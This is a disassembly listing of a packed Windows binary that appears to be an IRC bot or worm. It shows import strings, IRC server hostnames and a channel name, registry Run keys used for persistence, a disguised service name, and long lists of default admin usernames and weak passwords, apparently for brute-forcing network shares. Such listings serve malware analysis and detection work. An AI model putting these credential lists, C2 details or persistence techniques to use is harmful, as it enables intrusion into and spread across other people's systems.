		dd 0Ch,	42686Ch, 0
		dd offset off_43D75C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D77C
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: .packed:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	.packed:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	.packed:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	.packed:loc_426E68o
		dd offset off_43D79C
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: .packed:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	.packed:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: .packed:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 283B0h, 2 dup(0)
		dd 28426h, 271D8h, 283B8h, 2 dup(0)
		dd 2843Ch, 271E0h, 281D8h, 2 dup(0)
		dd 28CA8h, 27000h, 5 dup(0)
		dd 28780h, 28C8Eh, 28C7Ch, 28C6Ah, 28C5Ah, 28C4Ah, 28C3Ah
		dd 28C1Ch, 28C0Ah, 28BF8h, 28BE4h, 28BD4h
		db 0C6h, 8Bh, 2
; ---------------------------------------------------------------------------


loc_42820B:				; CODE XREF: .packed:00428284j
		add	[esi-5BFFFD75h], dh
		mov	eax, [edx]
		add	[edx+7200028Bh], cl
		mov	eax, [edx]
		add	[eax-75h], bl
		add	al, [eax]
		db	3Eh
		mov	eax, [edx]


loc_428223:				; CODE XREF: .packed:0042829Cj
		add	[edx], ah
		mov	eax, [edx]
		add	[edx], dl
		mov	eax, [edx]
		add	[edx], al
		mov	eax, [edx]
		add	dh, dh
		mov	al, [edx]
		add	ah, ah
		mov	al, [edx]
		add	al, bl
		mov	al, [edx]
		add	[eax-7Ch], cl
		add	al, [eax]
		push	esi
		test	[edx], al
		add	[esp+eax*4+2], ah
		add	[esi-7Ch], dh
		add	al, [eax]
		mov	word ptr [edx+eax+284A200h], es
		add	[edx-45FFFD7Ch], ch
		test	[edx], al
		add	al, cl
		test	[edx], al
		add	dh, dl
		test	[edx], al
		add	ah, ch
		test	[edx], al
		add	ah, bh
		test	[edx], al
		add	[eax], cl
		test	[edx], eax
		add	[esi], bl
		test	[edx], eax
		add	ds:85480002h[eax*4], dh
		add	al, [eax]
		pop	esi
		test	[edx], eax
		add	[esi-7Bh], ch
		add	al, [eax]
		jle	short loc_42820B
		add	al, [eax]
		nop
		test	[edx], eax
		add	[eax-53FFFD7Bh], ah
		test	[edx], eax
		add	[ebp+eax*4-7A31FFFEh], bh
		add	al, [eax]
		loop	loc_428223
		add	al, [eax]
; ---------------------------------------------------------------------------
		dd 285F4h, 28604h, 28612h, 2862Ah, 28642h, 2866Ah, 28682h
		dd 2868Eh, 2869Eh, 286AAh, 286B8h, 286CCh, 286DEh, 286F2h
		dd 28700h, 28712h, 28724h, 28732h, 2873Eh, 28756h, 28770h
		dd 28792h, 287A4h, 287BCh, 287D6h, 287F2h, 28802h, 2881Ch
		dd 28838h, 28846h, 28860h, 2886Ch, 28878h, 2888Ah, 2889Ch
		dd 288B0h, 288C0h, 288D2h, 288E2h, 288F0h, 28902h, 28912h
		dd 28928h, 28936h, 28944h, 28960h, 28976h, 2898Ch, 28998h
		dd 289AEh, 289BEh, 289D2h, 289E8h, 289F6h, 28A02h, 28A1Ch
		dd 28A2Ch, 28A3Eh, 28A50h, 28A5Eh, 28A78h, 28A86h, 28A94h
		dd 28AA2h, 28AB2h, 28AC2h, 28ACEh, 0
		dd 28410h, 0
		dd 80000007h, 8000000Fh, 8000000Ch, 80000074h, 80000073h
		dd 80000015h, 8000000Ah, 80000002h, 8000000Dh, 80000001h
		dd 2842Eh, 8000000Bh, 80000009h, 80000004h, 80000010h
		dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h
		dd 80000006h, 0
		db    6
		align 2
aWnetaddconne_1	db 'WNetAddConnection2A',0
aMpr_dll_0	db 'MPR.dll',0
aA_1		db 'A',0
aWsasocketa_0	db 'WSASocketA',0
		align 4
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 4
		db '¹',0
aExitprocess	db 'ExitProcess',0
a4		db '4',0
aClosehandle	db 'CloseHandle',0
aF		db 'f',0
aCreateprocessa	db 'CreateProcessA',0
		align 2
		dw 17Dh
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		db 0C1h	; Á
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 356h
aSleep		db 'Sleep',0
aO_0		db 'o',0
aCreatethread	db 'CreateThread',0
		align 2
aG		db 'ƒ',0
aDeletefilea	db 'DeleteFileA',0
		dd 704F0286h, 72506E65h, 7365636Fh, 1430073h
aGetcurrentproc	db 'GetCurrentProcessId',0
		db  71h	; q
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
aC		db 'C',0
aCopyfilea	db 'CopyFileA',0
		db  19h
		db 3, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 15Eh
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		db  7Fh	; 
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 4
		db 90h
		db 3, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
		db '`',0
aCreatemutexa	db 'CreateMutexA',0
		align 2
		dw 1DFh
aGettickcount	db 'GetTickCount',0
		align 2
		dw 35Fh
aTerminatethrea	db 'TerminateThread',0
		dd 654701D5h, 6D655474h, 74615070h, 4168h, 6F4D026Eh, 69466576h
		dd 41656Ch, 6F4C0252h, 694C6461h, 72617262h, 4179h, 654701A0h
		dd 6F725074h, 64644163h, 73736572h, 1140000h, 43746547h
		dd 75706D6Fh, 4E726574h, 41656D61h, 1740000h, 4C746547h
		dd 6C61636Fh, 666E4965h, 416Fh,	654701E9h, 72655674h, 6E6F6973h
		dd 417845h, 784500BAh, 68547469h, 64616572h, 2510000h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aS_2		db '˜',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 224h
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0
aB		db '',0
aDeletecritical	db 'DeleteCriticalSection',0
		dw 3A4h
aWritefile	db 'WriteFile',0
aO_1		db 'O',0
aCreateeventa	db 'CreateEventA',0
		align 2
		dw 2B5h
aReadfile_0	db 'ReadFile',0
		align 2
aS_3		db 'S',0
aCreatefilea	db 'CreateFileA',0
		dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440093h
		dd 63696C70h, 48657461h, 6C646E61h, 1420065h
aGetcurrentpr_0	db 'GetCurrentProcess',0
aE_0		db 'e',0
aCreatepipe	db 'CreatePipe',0
		align 10h
		dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h
		dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470163h, 6C694674h
		dd 7A695365h, 0CE0065h,	646E6946h, 736F6C43h, 0C50065h
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 2
		db 'Ä',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		db 'Ü',0
aFindnextfilea	db 'FindNextFileA',0
		db 'Ò',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		dw 31Bh
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db 0EEh	; î
		db 2, 53h, 65h
aTconsolectrlha	db 'tConsoleCtrlHandler',0
		db  8Eh	; Ž
		db 3, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		dw 0FCh
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 2
		dw 173h
aGetlocaltime	db 'GetLocalTime',0
		align 2
		dw 2A3h
aQueryperform_1	db 'QueryPerformanceCounter',0
		db 0A4h	; ¤
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceFrequency',0
		dd 724600F8h, 694C6565h, 72617262h, 1590079h
aGetenvironment	db 'GetEnvironmentVariableW',0
		db  16h
		db 2, 48h, 65h
aApfree		db 'apFree',0
		align 4
		db  10h
		db 2, 48h, 65h
aApalloc	db 'apAlloc',0
		db 0A3h	; £
		db 1, 47h, 65h
aTprocessheap	db 'tProcessHeap',0
		align 2
		dw 389h
aVirtualqueryex	db 'VirtualQueryEx',0
		align 4
		db 0B8h	; ¸
		db 2, 52h, 65h
aAdprocessmemor	db 'adProcessMemory',0
		dd 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6F4600F3h
		dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h
		dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h
		dd 6B63h, 6E550371h, 5670616Dh,	4F776569h, 6C694666h, 2680065h
		dd 5670614Dh, 4F776569h, 6C694666h, 540065h
aCreatefilemapp	db 'CreateFileMappingA',0
		align 4
		db  1Fh
		db 3, 53h, 65h
aTfiletime	db 'tFileTime',0
		dw 165h
aGetfiletime	db 'GetFileTime',0
		db '¼',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		db  94h	; ”
		db 3, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 275h
aMultibytetowid	db 'MultiByteToWideChar',0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 3, 6Ch, 73h
aTrcmpia	db 'trcmpiA',0
		db  5Ah	; Z
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 291h
aPeeknamedpipe	db 'PeekNamedPipe',0
		dw 178h
aGetlogicaldr_0	db 'GetLogicalDrives',0
		align 2
		dw 204h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 4
		dd 6548021Ah, 65527061h, 6F6C6C41h, 2D70063h, 556C7452h
		dd 6E69776Eh, 1E20064h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 4
		dd 654701C8h, 73795374h, 546D6574h, 656D69h, 654701B7h
		dd 61745374h, 70757472h, 6F666E49h, 1100041h, 43746547h
		dd 616D6D6Fh, 694C646Eh, 41656Eh, 654701E8h, 72655674h
		dd 6E6F6973h, 1580000h
aGetenvironme_0	db 'GetEnvironmentVariableA',0
		dd 65480214h, 65447061h, 6F727473h, 2120079h, 70616548h
		dd 61657243h, 6574h, 69560383h,	61757472h, 6572466Ch, 3810065h
		dd 74726956h, 416C6175h, 636F6C6Ch, 2360000h, 61427349h
		dd 69725764h, 74506574h, 1040072h, 43746547h, 666E4950h
		dd 0FD006Fh, 41746547h,	5043h, 65470193h, 4D454F74h, 5043h
		dd 615202A7h, 45657369h, 70656378h, 6E6F6974h, 21C0000h
		dd 70616548h, 657A6953h, 2440000h, 614D434Ch, 72745370h
		dd 41676E69h, 2450000h,	614D434Ch, 72745370h, 57676E69h
		dd 36E0000h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
		dw 0F6h
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db 0F7h	; ÷
		align 2
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 155h
aGetenvironme_1	db 'GetEnvironmentStrings',0
		dw 157h
aGetenvironme_2	db 'GetEnvironmentStringsW',0
		align 4
		db  24h	; $
		db 3, 53h, 65h
aThandlecount	db 'tHandleCount',0
		align 2
		dw 1B9h
aGetstdhandle	db 'GetStdHandle',0
		align 2
		dw 166h
aGetfiletype	db 'GetFileType',0
		db  37h	; 7
		db 3, 53h, 65h
aTstdhandle	db 'tStdHandle',0
		align 4
aU_0		db 'î',0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 4
		db 0BAh	; º
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		align 2
		dw 1BDh
aGetstringtypew	db 'GetStringTypeW',0
		align 4
		db  4Ah	; J
		db 3, 53h, 65h
aTunhandledexce	db 'tUnhandledExceptionFilter',0
		dw 233h
aIsbadreadptr	db 'IsBadReadPtr',0
		align 2
		dw 230h
aIsbadcodeptr	db 'IsBadCodePtr',0
		align 2
		dw 310h
aSetendoffile	db 'SetEndOfFile',0
		align 2
		db ':',0
aComparestringa	db 'CompareStringA',0
		align 4
		db ';',0
aComparestringw	db 'CompareStringW',0
		align 2
		dw 313h
aSetenvironment	db 'SetEnvironmentVariableA',0
aKernel32_dll	db 'KERNEL32.dll',0
		align 4
		dd 0D2h	dup(0)
dword_429000	dd 0			; DATA XREF: sub_41B784+1Fo
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset sub_40E6D3
dword_429014	dd 0			; DATA XREF: sub_41B784+1Ao
dword_429018	dd 0			; DATA XREF: sub_41B784+10o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset sub_424752
dword_42902C	dd 0			; DATA XREF: sub_41B784:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset sub_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 0C8Bh		; DATA XREF: sub_401221+4A4r
					; sub_401221+539r
dword_429070	dd 0C8Bh		; DATA XREF: sub_401221+585r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: sub_401221+13Dr
dword_429090	dd 1			; DATA XREF: sub_401221:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 5			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: sub_401221+5Do
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: sub_401221+490o
					; sub_401221+52Ao
aFaak		db '#FAAK#',0           ; DATA XREF: sub_401221+4B0o
					; sub_401221+540o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: sub_401221+4C7o
					; sub_401221+552o
		align 4
byte_4290E4	db 73h			; DATA XREF: sub_401221:loc_401789r
					; sub_401221+576o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: sub_401221+58Co
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: sub_401221+59Eo
		align 4
byte_429108	db 6Ch			; DATA XREF: sub_401221+143o
					; sub_401221+167w ...
		db 65h,	72h, 61h
		dd 62787073h, 78652E69h, 65h
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: sub_411C13+3Do
aWindowsServceA	db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_42913C:				; DATA XREF: .packed:0040AD34o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_2		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd 0
		dd offset byte_43D7E8
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_0	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_42949C	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aIntranet	db 'intranet',0         ; DATA XREF: .packed:00429488o
		align 4
aLan		db 'lan',0              ; DATA XREF: .packed:00429480o
aMain		db 'main',0             ; DATA XREF: .packed:0042947Co
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: .packed:00429478o
aBlank		db 'blank',0            ; DATA XREF: .packed:00429474o
		align 4
aOffice		db 'office',0           ; DATA XREF: .packed:00429470o
		align 10h
aControl	db 'control',0          ; DATA XREF: .packed:0042946Co
aXp		db 'xp',0               ; DATA XREF: .packed:00429468o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .packed:00429464o
		align 4
aHp		db 'hp',0               ; DATA XREF: .packed:00429460o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: .packed:0042945Co
aCompaq		db 'compaq',0           ; DATA XREF: .packed:00429458o
		align 4
aDell		db 'dell',0             ; DATA XREF: .packed:00429454o
		align 10h
aCisco		db 'cisco',0            ; DATA XREF: .packed:00429450o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .packed:0042944Co
aOrainstall	db 'orainstall',0       ; DATA XREF: .packed:00429444o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .packed:00429440o
		align 4
aSql		db 'sql',0              ; DATA XREF: .packed:0042943Co
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
					; .packed:00429438o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .packed:00429434o
		align 4
aDb1		db 'db1',0              ; DATA XREF: .packed:0042942Co
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .packed:00429428o
		align 4
aData		db 'data',0             ; DATA XREF: .packed:00429424o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .packed:00429420o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .packed:0042941Co
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .packed:00429418o
		align 10h
aAccess		db 'access',0           ; DATA XREF: .packed:00429414o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .packed:0042940Co
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .packed:00429408o
		align 4
aDomain		db 'domain',0           ; DATA XREF: .packed:00429404o
		align 4
aHello		db 'hello',0            ; DATA XREF: .packed:00429400o
		align 4
aHell		db 'hell',0             ; DATA XREF: .packed:004293FCo
		align 4
aGod		db 'god',0              ; DATA XREF: .packed:004293F8o
aSex		db 'sex',0              ; DATA XREF: .packed:004293F4o
					; .packed:off_4385B8o
aSlut		db 'slut',0             ; DATA XREF: .packed:004293F0o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .packed:004293ECo
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .packed:004293E8o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: .packed:004293E4o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .packed:004293E0o
		align 10h
aTechnical	db 'technical',0        ; DATA XREF: .packed:004293DCo
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .packed:004293D8o
		align 4
aLogin		db 'login',0            ; DATA XREF: .packed:004293D4o
		align 10h
aMary		db 'mary',0             ; DATA XREF: .packed:004293D0o
		align 4
aKatie		db 'katie',0            ; DATA XREF: .packed:004293CCo
		align 10h
aKate		db 'kate',0             ; DATA XREF: .packed:004293C4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .packed:004293C0o
		align 10h
aEric		db 'eric',0             ; DATA XREF: .packed:004293BCo
		align 4
aChris		db 'chris',0            ; DATA XREF: .packed:004293B8o
		align 10h
aIan		db 'ian',0              ; DATA XREF: .packed:004293B4o
aNeil		db 'neil',0             ; DATA XREF: .packed:004293B0o
		align 4
aLee		db 'lee',0              ; DATA XREF: .packed:004293ACo
aBrian		db 'brian',0            ; DATA XREF: .packed:004293A8o
		align 4
aSusan		db 'susan',0            ; DATA XREF: .packed:004293A0o
		align 10h
aSue		db 'sue',0              ; DATA XREF: .packed:0042939Co
aSam		db 'sam',0              ; DATA XREF: .packed:00429398o
aLuke		db 'luke',0             ; DATA XREF: .packed:00429394o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: .packed:00429390o
					; .packed:004293A4o
		align 4
aJohn		db 'john',0             ; DATA XREF: .packed:0042938Co
		align 10h
aMike		db 'mike',0             ; DATA XREF: .packed:00429388o
		align 4
aBill		db 'bill',0             ; DATA XREF: .packed:00429384o
		align 10h
aFred		db 'fred',0             ; DATA XREF: .packed:00429380o
		align 4
aJoe		db 'joe',0              ; DATA XREF: .packed:0042937Co
aJen		db 'jen',0              ; DATA XREF: .packed:00429378o
aBob		db 'bob',0              ; DATA XREF: .packed:00429374o
					; .packed:004293C8o
aQwe		db 'qwe',0              ; DATA XREF: .packed:00429370o
aZxc		db 'zxc',0              ; DATA XREF: .packed:0042936Co
aAsd		db 'asd',0              ; DATA XREF: .packed:00429368o
aQaz		db 'qaz',0              ; DATA XREF: .packed:00429364o
aWin2000	db 'win2000',0          ; DATA XREF: .packed:00429360o
aWinnt		db 'winnt',0            ; DATA XREF: .packed:0042935Co
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .packed:00429358o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .packed:00429354o
		align 4
aWin98		db 'win98',0            ; DATA XREF: .packed:00429350o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .packed:0042934Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: .packed:00429348o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: .packed:00429344o
aOem		db 'oem',0              ; DATA XREF: .packed:00429340o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
					; .packed:0042933Co
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .packed:00429338o
		align 10h
aHome		db 'home',0             ; DATA XREF: .packed:00429334o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .packed:00429330o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .packed:0042932Co
		align 10h
aInternet	db 'internet',0         ; DATA XREF: .packed:00429328o
					; .packed:00429484o
		align 4
aWww		db 'www',0              ; DATA XREF: .packed:00429324o
aWeb		db 'web',0              ; DATA XREF: .packed:00429320o
aOutlook	db 'outlook',0          ; DATA XREF: .packed:0042931Co
